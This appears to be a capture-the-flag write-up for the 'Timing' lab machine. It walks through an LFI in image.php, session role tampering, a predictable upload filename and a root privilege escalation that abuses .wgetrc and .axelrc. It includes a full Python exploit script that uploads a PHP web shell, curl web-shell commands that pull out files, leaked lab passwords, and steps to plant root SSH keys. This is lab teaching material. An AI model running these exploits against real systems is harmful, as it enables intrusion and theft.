Enumeration
IP-ADDR: 10.10.11.135 timing.htb
nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Get login page
Running ffuf found some 200 blank pages: image.php
, db_conn.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt:FUZZ -u "http://10.10.11.135/FUZZ" -e .php
# ... [snip] ...
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 349ms]
.htpasswd.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 351ms]
.htaccess.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 352ms]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4709ms]
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 613ms]
db_conn.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 598ms]
footer.php [Status: 200, Size: 3937, Words: 1307, Lines: 116, Duration: 412ms]
header.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 614ms]
image.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 421ms]
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 411ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 375ms]
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 617ms]
login.php [Status: 200, Size: 5609, Words: 1755, Lines: 178, Duration: 445ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 614ms]
profile.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 536ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 298ms]
upload.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 409ms]
:: Progress: [40950/40950] :: Job [1/1] :: 97 req/sec :: Duration: [0:08:26] :: Errors: 0 ::
Foothold
LFI
By guessing that there is a /image.php
it is possible that it has a parameter like img
(most common) which fetch images.
1
2
3
4
5
6
7
8
❯ curl -i 'http://10.10.11.135/image.php?img=/'
HTTP/1.1 200 OK
Date: Sat, 18 Dec 2021 10:09:40 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 25
Content-Type: text/html; charset=UTF-8
Hacking attempt detected!
There are some filters but it looks like this is a blacklist based filter because some php Protocols and Wrappers are working fine.
- There is a one user on the box
aaron
And it’s true there is a blacklist based filter
got database creds from db_conn.php
1
2
3
❯ curl -s 'http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=db_conn.php' | base64 -d
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
- Creads:
root:4_V3Ry_l0000n9_p422w0rd
Get logged in with aaron:aaron
on webapp but still nothing.
Admin role impersonate
There is a one php file upload.php
that still left. try to get it from aaron
login session Got permission error.
Using lfi to read the source code of upload.php
with php Wrapper http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=<file>
1
2
3
4
<?php
include("admin_auth_check.php");
// ... [snip] ...
upload.php
only allowed for admin by checking logged in user role with admin_auth_check.php
.
1
2
3
4
5
6
7
8
9
10
11
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
Next thing to check is the profile edit page.
When we update profile webapp post a request to /profile_update.php
From the source code of /profile_update.php
there is a if
statement for role
parameter, if it set in the post request then update user role for current session.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ... [snip] ...
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// ... [snip] ...
With that we can update role for aaron
form user to admin.
We can see current role of the user is 0
and admin_auth_check.php
is checking for admin role 1
Now send a post request with role
parameter with value 1
Now request upload.php
from same session cookie and there is no permission error anymore.
File upload RCE
Now let move to next part of the upload.php
file code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
local file upload directory is images/uploads/
which we can access with lfi.
1
$upload_dir = "images/uploads/";
file_name
variable is MD5 hash of file_hash
variable which stored a random value using uniqid()
function everytime it get executed and time()
function which generate a epoch time of current time and concat with _
and orignal filename but instead of using file_hash
as a variable developer use it as a string '$file_hash'
in file_name
.
so the final name of uploaded file looks somethings like this: MD5('$file_hash' + time()) + '_' + somefile.jpg
1
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
Then eliminating file with extension other than jpg
using pathinfo()
function with PATHINFO_EXTENSION
to grab file extention and php document says that “PATHINFO_EXTENSION
returns only the last one extension”
1
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
then checking imageFileType
variable value for jpg
1
2
3
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
But that extension part does not affect because we are going to load that file using php wrapper with lfi so we can still execute php code from a random.jpg
file as long wrapper found php tag <?php ... ?>
inside file.
There’s only one thing left which is the MD5 hash that generate with a string '$file_hash'
and php time()
function output.
time()
Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT). that means its value changes every second.uniqid()
Returns a prefixed unique identifier (13 char login random string) based on the current epoch time in microseconds level. There are 1 million possible combinations in 1 second. but we don’t need to worry about this.
We can get the exact time when upload.php
get executed from http response header date
and convert it to epoch format and then generate MD5 hash with it.
- but if the
uniqid()
function implemented properly then this could be a pain to brute force the file name on the server because http date header does not go beyond seconds and than we have to guess that microsecond value.
1
2
3
4
5
6
7
8
9
import requests as r
from dateutil import parser
import calendar
rspn = r.post("http://10.10.11.135/login.php")
print('[+] Server time: ', rspn.headers['date'])
dt = parser.parse(rspn.headers['date'])
time_epoch = calendar.timegm(dt.utctimetuple())
print('[+] epoch timestamp: ', time_epoch)
1
2
3
❯ python getepoch.py
[+] Server time: Tue, 21 Dec 2021 11:39:19 GMT
[+] epoch timestamp: 1640086759
Now, we only need to upload a jpg file and generate file name like this MD5('$file_hash' + time()) + '_' + somefile.jpg
and request it from uploaded direcotry images/uploads/
with LFI. For doing everything i create a python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import re
import calendar
import hashlib
import traceback
import requests as r
import json
from dateutil import parser
import tempfile
import argparse
s = r.session()
# s.proxies = {"http": "http://127.0.0.1:8080"}
url = "http://10.10.11.135"
arguparser = argparse.ArgumentParser(description='Run without any argument to uplaod a simple php web shell and request it with curl HTTP-POST request.')
arguparser.add_argument("--cmd", help="Direct comamnd execute. Default is php web shell.")
arguparser.add_argument("--file", help="Upload file form your filesystem. Default is simple php script with system function.")
arguparser.add_argument('-T', action='store_true', help="Enable traceback")
args = arguparser.parse_args()
def becomeAdmin():
login_data = {"user": "aaron", "password": "aaron"}
login_rspn = s.post(f"{url}/login.php?login=true", allow_redirects=True, data=login_data)
check_login = re.findall(r'<h1 class="text-center" style="padding: 200px">(.*?)</h1>', login_rspn.text)[0]
print("[+]", check_login)
role_data = {"firstName": "test", "lastName": "test", "email": "test", "company": "test", "role": "1"}
role_rspn = s.post(f"{url}/profile_update.php", data=role_data)
print("[+] user role changed to: ", json.loads(role_rspn.text)["role"])
def uploadFile(cmd=None):
becomeAdmin()
# Generate temporary file with pyaload
f = tempfile.NamedTemporaryFile(suffix=".jpg")
if args.cmd:
file_content = f"""<?php system('{cmd}'); ?>""".encode('UTF-8')
else:
file_content = "<?php system($_POST['cmd']); ?>".encode('UTF-8')
f.write(file_content)
f.seek(0)
# print("[+] Name of the file is:", f.name.rsplit('/')[-1])
# Upload file
global input_file
if args.file:
if args.file.lower().endswith('.jpg'):
input_file = args.file
else:
exit('[!] Only .jpg supported!')
else:
input_file = f.name
with open(input_file, 'rb') as f:
upload_rspn = s.post(f"{url}/upload.php", files={'fileToUpload': f})
print("[+]", upload_rspn.text)
# Create epoch timestamp of uploaded time
print('[+] Upload time: ', upload_rspn.headers['date'])
dt = parser.parse(upload_rspn.headers['date'])
time_epoch = calendar.timegm(dt.utctimetuple())
print('[+] epoch timestamp: ', time_epoch)
# Create filename
hash_part = '$file_hash' + str(time_epoch)
file_name = hashlib.md5(hash_part.encode('utf-8')).hexdigest() + "_" + f.name.rsplit('/')[-1]
f.close()
print("[+] Uploaded file name:", file_name)
if args.file:
exit(print("[+] File location: ", f"{url}/image.php?img=images/uploads/{file_name}"))
else:
# Request uploaded file with lfi
if args.cmd:
check_file = s.post(f"{url}/image.php?img=images/uploads/{file_name}") # php://filter/read=/resource=
print("[+] Payload response -\n", check_file.text)
else:
print("[+] PHP HTTP-POST web shell uploaded:", f"curl \"{url}/image.php?img=images/uploads/{file_name}\" --data \"cmd=id\"")
print("[+] Testing web shell -\n", s.post(f"{url}/image.php?img=images/uploads/{file_name}", data={"cmd": "id"}).text)
if __name__ == "__main__":
try:
if args.cmd and args.file:
exit('[!] Both arguments not allowed at once!')
elif args.cmd:
uploadFile(args.cmd)
elif args.file:
uploadFile()
else:
uploadFile()
except Exception as e:
if args.T:
print(traceback.format_exc())
else:
print(e)
except KeyboardInterrupt as e:
print('KeyboardInterrupt')
s.close()
This script directly gives command output
But there are some issue while getting reverse shell.
1
WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
walking through the filesystem with web shell found a zip file in /opt
directory.
1
2
3
❯ curl "http://10.10.11.135/image.php?img=images/uploads/8511adbe6698b34e753367c7f04b629a_tmple20q9e2.jpg" --data "cmd=ls -l /opt"
total 616
-rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip
Downloading zip file with base64 encoding
1
2
3
4
5
6
7
8
❯ curl "http://10.10.11.135/image.php?img=images/uploads/8511adbe6698b34e753367c7f04b629a_tmple20q9e2.jpg" --data "cmd=cat /opt/source-files-backup.zip|base64 -w 0" > source-files-backup.zip.b64
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 817k 0 817k 100 48 123k 7 0:00:06 0:00:06 --:--:-- 150k
❯ cat source-files-backup.zip.b64| base64 -d > source-files-backup.zip
❯ file source-files-backup.zip
source-files-backup.zip: Zip archive data, at least v1.0 to extract, compression method=store
Zip file contains websile source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ unzip -q source-files-backup.zip
❯ cd backup
❯ tree
.
├── admin_auth_check.php
├── auth_check.php
├── avatar_uploader.php
├── css
│ ├── bootstrap.min.css
│ └── login.css
├── db_conn.php
├── footer.php
├── header.php
├── image.php
├── images
│ ├── background.jpg
│ ├── uploads
│ └── user-icon.png
├── index.php
├── js
│ ├── avatar_uploader.js
│ ├── bootstrap.min.js
│ ├── jquery.min.js
│ └── profile.js
├── login.php
├── logout.php
├── profile.php
├── profile_update.php
└── upload.php
4 directories, 21 files
We already reviewed most of the code, what else we can found from this backup.
There is a .git
direcotry contains 2 commits
viewing second commit changes, found another passowrd
- NewPassword:
S3cr3t_unGu3ss4bl3_p422w0Rd
Now this password worked in user aaron
ssh login.
Privesc
Right off the bat, found user aaron
’s sudo privileges
1
2
3
4
5
6
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
This is a shell script executing /root/netutils.jar
. This utility allows to download file from ftp or http servers as root.
1
2
3
4
5
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
Running pspy while executing /usr/bin/netutils
found that /root/netutils.jar
is executing wget
with option 1 ftp and /root/axel
with option 2 http.
wget and axel rc files
Here we can use both binaries to get root as they are executing as root and both have some short of same functionality that can be used for privilege escalation.
Both commands have some uses of rc(run commands) file.
rc
suffix is commonly used for any file that contains startup information for a program.1 2 3
[Unix: from runcom files on the CTSS system 1962-63, via the startup script /etc/rc] Script file containing startup instructions for an application program (or an entire operating system), usually a text file containing commands of the sort that might have been invoked manually once the system was running but are to be executed automatically each time the system starts up.
By default a rc file if used by a command then it is located in the user’s HOME directory who is executing that command and automatically loads on command startup.
axel
use .axelrc
file as startup configuration file.
1
2
3
4
5
6
7
8
9
10
11
FILES
/etc/axelrc
System-wide configuration file.
~/.axelrc
Personal configuration file.
These files are not documented in a manpage, but the example file which comes with the program contains
enough information. The position of the system-wide configuration file might be different. In source code
this example file is at doc/ directory. It's generally installed under /usr/share/doc/axel/examples/, or
the equivalent for your system.
wget
use .wgetrc
as a startup command file same as configuration file. More detail @gnu docs
1
2
3
-e command
--execute command
Execute command as if it were a part of .wgetrc. A command thus invoked will be executed after the commands in .wgetrc, thus taking precedence over them. If you need to specify more than one wgetrc command, use multiple instances of -e.
Both binaries have some level so same functionality that allows to set a default filename or default output location for downloaded files using rc
file.
wgetrc
wget
has a option output_document
which allow us set default location for output file.
1
2
3
# Set the output filename—the same as ‘-O file’.
#
output_document = file
We can create .wgetrc
in current user “aaron’s” $HOME folder and then normally run that /usr/bin/netutils
command with option 1 and download file from our ftp server.
1
2
3
4
5
cat <<EOF > .wgetrc
# Set the output filename—the same as ‘-O file’.
#
output_document = /home/aaron/wgetrcit
EOF
Start python ftp server
1
python3 -m pyftpdlib -p 21 -V
Set default output file /home/aaron/wgetrcit
and after succssfully executing command we get wgetrcit
file owned by root with our content.
And if we run same command again it append new content in the same file instead of create new or overwrite existing one.
with that we can append a root user in /etc/passwd
file or add ssh public key in root ssh directory.
Lets create ssh authorized_keys
in /root/.ssh
and put our ssh public key.
1
2
3
4
5
cat <<EOF > .wgetrc
# Set the output filename—the same as ‘-O file’.
#
output_document = /root/.ssh/authorized_keys
EOF
- Before running make sure that
/usr/bin/netutils
executing wget is recursive mode with-r
.
axelrc
axel
has a option default_filename
which work same as wget and allow us set default location for output file.
1
2
3
4
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
default_filename = default
We can create .axelrc
in current user “aaron’s” $HOME folder and then normally run that /usr/bin/netutils
command with option 2.
1
2
3
4
5
6
cat <<EOF > .axelrc
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
default_filename = /home/aaron/axelrcit
EOF
Set default output file /home/aaron/axelrcit
and after succssfully executing command we get axelrcit
file owned by root with our content but where wget use wgetrc comamnd for all files, axel only uses axelrc command for HTTP directory/index page like http://url/
where url does not specifies any file suffix like /document.txt
in this case axel download web servers default index.html
page.
But, if we run same command again axel creates new file with .0
suffix, same name file already exists
With that we have some limitations where we can not append or overwrite existing file but we can still create arbitrary file in the filesystem.
i already write /root/.ssh/authorized_keys
with wget let see what axel do with it.
1
2
3
4
5
6
cat <<EOF > .axelrc
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
default_filename = /root/.ssh/authorized_keys
EOF
- Before downloading file we need to put content that we wanted to download form our web server in
index.html
file.
And it created a new authorized_keys file with .0
and this is not gonna work but we are still able to create a arbitrary file in root directory.